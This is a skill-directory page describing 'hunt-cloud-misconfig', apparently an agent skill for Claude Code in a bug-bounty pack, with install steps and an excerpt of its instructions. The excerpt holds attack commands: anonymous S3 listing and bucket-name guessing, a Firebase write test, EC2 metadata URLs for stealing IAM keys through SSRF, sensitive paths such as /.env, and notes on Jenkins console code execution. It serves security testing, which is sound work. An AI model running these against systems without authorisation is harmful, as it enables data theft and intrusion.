Tooluck logoTooluck
SKILL.md

hunt-cloud-misconfig

Agent skill fromelementalsouls/Claude-BugHunter

Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services).

How to install hunt-cloud-misconfig

install hunt-cloud-misconfig
# install the Claude-BugHunter pack with the skills CLI
npx skills add elementalsouls/Claude-BugHunter

# or add only this skill to Claude Code: copy the folder

skills/hunt-cloud-misconfig/

# into

~/.claude/skills/hunt-cloud-misconfig/ (all projects)

.claude/skills/hunt-cloud-misconfig/ (one project)

skills/hunt-cloud-misconfig/SKILL.md

MITFull file
1## 16. CLOUD / INFRA MISCONFIGS
2
3### S3 / GCS / Azure Blob
4```bash
5# S3 listing
6curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
7aws s3 ls s3://target-bucket-name --no-sign-request
8
9# Try common bucket names
10for name in target target-backup target-assets target-prod target-staging; do
11 curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
12done
13
14# Firebase open rules
15curl -s "https://TARGET-APP.firebaseio.com/.json" # read
16curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
17```
18
19### EC2 Metadata (via SSRF)
20```bash
21http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
22http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
23```
24
25### Exposed Admin Panels
26```
27/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
28/phpMyAdmin /.env /config.json /api-docs /server-status
29```
30
31---
32
33### Jenkins SSO-restriction failure → Script Console RCE
34An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then `/script` (Groovy console) = RCE, and `/credentials` + `/scriptText` = stored API tokens and source disclosure. Disclosed: reports/231460.
35
36### Exposed message broker (RabbitMQ / AMQP) with default creds
37…

Excerpt shown under the repository's MIT license.

More skills in Claude-BugHunter

Keep exploring

Similar skill repositories

thedotmack /

claude-mem
116k

Persistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More

CCCXGHGM+135 skills

nexu-io /

open-design
107k

The 1st Collaborative AI Design Agent Workspace. Local-first and open source. Create motion, prototypes, websites, apps, dashboards, presentations, images, and videos with your team and AI agents. Share work, exchange feedback, and iterate together in one workspace.

40 skills

Newsletter

Join the Community

Subscribe to our newsletter for the latest news and updates